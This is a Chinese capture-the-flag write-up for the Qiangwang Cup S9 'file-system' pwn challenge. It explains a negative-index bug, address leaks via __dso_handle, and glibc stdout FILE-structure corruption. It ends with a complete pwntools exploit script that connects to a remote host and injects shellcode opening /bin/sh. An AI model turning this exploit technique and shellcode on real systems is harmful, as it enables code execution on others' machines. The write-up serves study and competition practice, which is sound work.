强网杯 S9 2025 初赛 - file-system
文件属性
属性
值
Arch
amd64
RELRO
Full
Canary
on
NX
on
PIE
on
strip
yes
解题思路
建议先看bph writeup 再来看这篇writeup,知识点是相通的;
以及感谢 irontys 的wp提供的灵感
漏洞分析 题目可以打开文件或创建文件,打开后会将其放在bss的数组中。
一开始有2次机会可以执行edit或者show。首先还原题目存放文件信息的结构体:
1 2 3 4 5 6 struct dirfile { char name[0x30 ]; char content[0xa0 ]; short content_len; FILE *file; };
注意到需要满足(int)(uint)filecnt >= (int)(char)getnum()才能编辑或查看文件,
而最后是有符号比较,因此我们可以使用负数去绕过限制,向前读取内容。
泄露信息 查看bss上的数据,由于有__dso_handle的存在(一个指向其自身的指针),借助负索引,
我们可以向前访问去用它来泄露信息。
首先我们能泄露__dso_handle,然后如果我们能控制这个假file的content_len,就可以泄露更多数据。
那么我们可以打开大量文件,这样就会向files上存放大量指针,直到恰好覆盖到content_len,
就可以打印出bss上的所有数据。继续向后看,bss后面还有一个栈地址,它是在构造函数(0x1469)中写入的。
因此借助__dso_handle,我们可以泄露程序基地址以及栈地址。
构造函数是编译时的一个属性,通过在函数头写上__attribute__((constructor)),
编译器会安排其在运行main函数之前运行,之后这个函数通常可以在ELF中的init_array中找到,
libc会在初始化过程中调用它。
写入 stdout 来修改 chance 为了能获得更多写入的机会,我们需要引入一些帮助。向前编辑stdout,根据结构体,
我们能够写入_IO_write_end之后的字段。和 bph 一样,我们修改_IO_buf_base和_IO_buf_end,
使puts在写数据时覆盖缓冲区,改变chance的值。
具体来说,执行_IO_puts时,会走_IO_sputn (stdout, str, len),展开到_IO_new_file_xsputn,
一直走到new_do_write,在new_do_write中,写完字符串后,就会更新_IO_write_base、
_IO_write_ptr和_IO_write_end。
glibc-2.42/source/libio/fileops.c#L1257 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 size_t _IO_new_file_xsputn (FILE *f, const void *data, size_t n) { ... if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING)) {...} else if (f->_IO_write_end > f->_IO_write_ptr) ... if (count > 0 ) {...} if (to_do + must_flush > 0 ) { size_t block_size, do_write; if (_IO_OVERFLOW (f, EOF) == EOF) ... block_size = f->_IO_buf_end - f->_IO_buf_base; do_write = to_do - (block_size >= 128 ? to_do % block_size : 0 ); if (do_write) { count = new_do_write (f, s, do_write); to_do -= count; if (count < do_write) return n - to_do; } ... } return n - to_do; }
glibc-2.42/source/libio/fileops.c#L464 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 static size_t new_do_write (FILE *fp, const char *data, size_t to_do) { size_t count; if (fp->_flags & _IO_IS_APPENDING) ... else if (fp->_IO_read_end != fp->_IO_write_base) {...} count = _IO_SYSWRITE (fp, data, to_do); if (fp->_cur_column && count) ... _IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base); fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base; fp->_IO_write_end = (fp->_mode <= 0 && (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED)) ? fp->_IO_buf_base : fp->_IO_buf_end); return count; }
此时chance仍然是0,但是随后puts将写入一个'\n',
即_IO_putc_unlocked ('\n', stdout),展开到__putc_unlocked_body (_ch, _fp),
再展开到另一个宏:
glibc-2.42/source/libio/bits/types/struct_FILE.h#L117 1 2 3 4 #define __putc_unlocked_body(_ch, _fp) \ (__glibc_unlikely ((_fp)->_IO_write_ptr >= (_fp)->_IO_write_end) \ ? __overflow (_fp, (unsigned char) (_ch)) \ : (unsigned char) (*(_fp)->_IO_write_ptr++ = (_ch)))
可以看到在打印换行符时,给*write_ptr写了一个换行符,即把chance设置为了10。
任意写入覆盖返回地址 现在我们已经有了无限次任意修改的机会,之前又泄露出了栈地址,而且题目还主动分配了rwx的空间,
我们还能控制其内容,那我们只要修改edit函数的返回地址为shellcode地址就可以执行shellcode,
题目也没有沙箱,直接execve("/bin/sh", 0, 0)就可以。
动调可知泄露的栈地址比edit函数的返回地址高了0xaf,先预先减掉,
file->content位于0x30的偏移,再加上21字节的shellcode,对齐到8的边界,
这些字节都需要减掉,保证shellcode地址能正好写在返回地址上。
编辑__dso_handle,在__dso_handle + 0x30地方写上栈地址,再编辑这个栈地址,
就可以覆盖函数的返回地址了。但是实际还遇到一个问题,在复制内存后,还会从栈上取出file地址,
写入content_len,因此我们需要把这个地址也伪造一下,避免 SEGV 。
EXPLOIT 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 from pwn import *context.terminal = ['tmux' , 'splitw' , '-h' ] context.arch = 'amd64' def GOLD_TEXT (x ): return f'\x1b[33m{x} \x1b[0m' EXE = './filesys' def payload (lo: int ): global t if lo: t = process(EXE) if lo & 2 : gdb.attach(t) else : t = remote('47.94.201.121' , 34868 ) elf = ELF(EXE) libc = elf.libc def create_file (name: str , buf: bytes ) -> bool : t.sendlineafter(b'2.open file' , b'1' ) t.sendlineafter(b'input filename (max length = 0x30): ' , name.encode()) if b'Exist' in t.recvline(): return False t.send(buf) return True def open_file (name: str ): t.sendlineafter(b'2.open file' , b'2' ) t.sendlineafter(b'input filename (max length = 0x30): ' , name.encode()) def edit_file (idx: int , buf: bytes ): t.sendlineafter(b'2.open file' , b'3' ) t.sendlineafter(b'idx' , str (idx).encode()) t.sendafter(b'content' , buf) def show_file (idx: int ) -> bytes : t.sendlineafter(b'2.open file' , b'4' ) t.sendlineafter(b'input file idx: ' , str (idx).encode()) return t.recvuntil(b'\nshow File' , True ) t.sendafter(b'DirectoryName' , b'\n' ) if create_file('1' , b'rand bytes' ): for i in range (2 , 19 ): create_file(str (i), b'rand bytes' ) else : for i in range (1 , 19 ): open_file(str (i)) leak = show_file(-11 ) pie_base = u64(leak[:6 ] + b'\0\0' ) - 0x4008 success(GOLD_TEXT(f'Leak pie_base: {pie_base:#x} ' )) elf.address = pie_base stack = u64(leak[0x477 :0x47f ]) - 0xaf success(GOLD_TEXT(f'Edit function stack frame return addr: {stack:#x} ' )) chance = pie_base + 0x4010 edit_file(-8 , flat(0 , chance, chance + 8 )) edit_file(-11 , p64(stack - 0x30 - 0x28 )) shellcode_addr = 0x20250000 shellcode = b'H\xbb/bin/sh\x00ST_1\xf6j;X\x99\x0f\x05' edit_file(-5 , flat(shellcode.ljust(0x18 , b'\0' ), shellcode_addr, 0 , shellcode_addr)) t.clean() t.interactive() t.close()
参考
2025强网杯-file-system - irontys
bph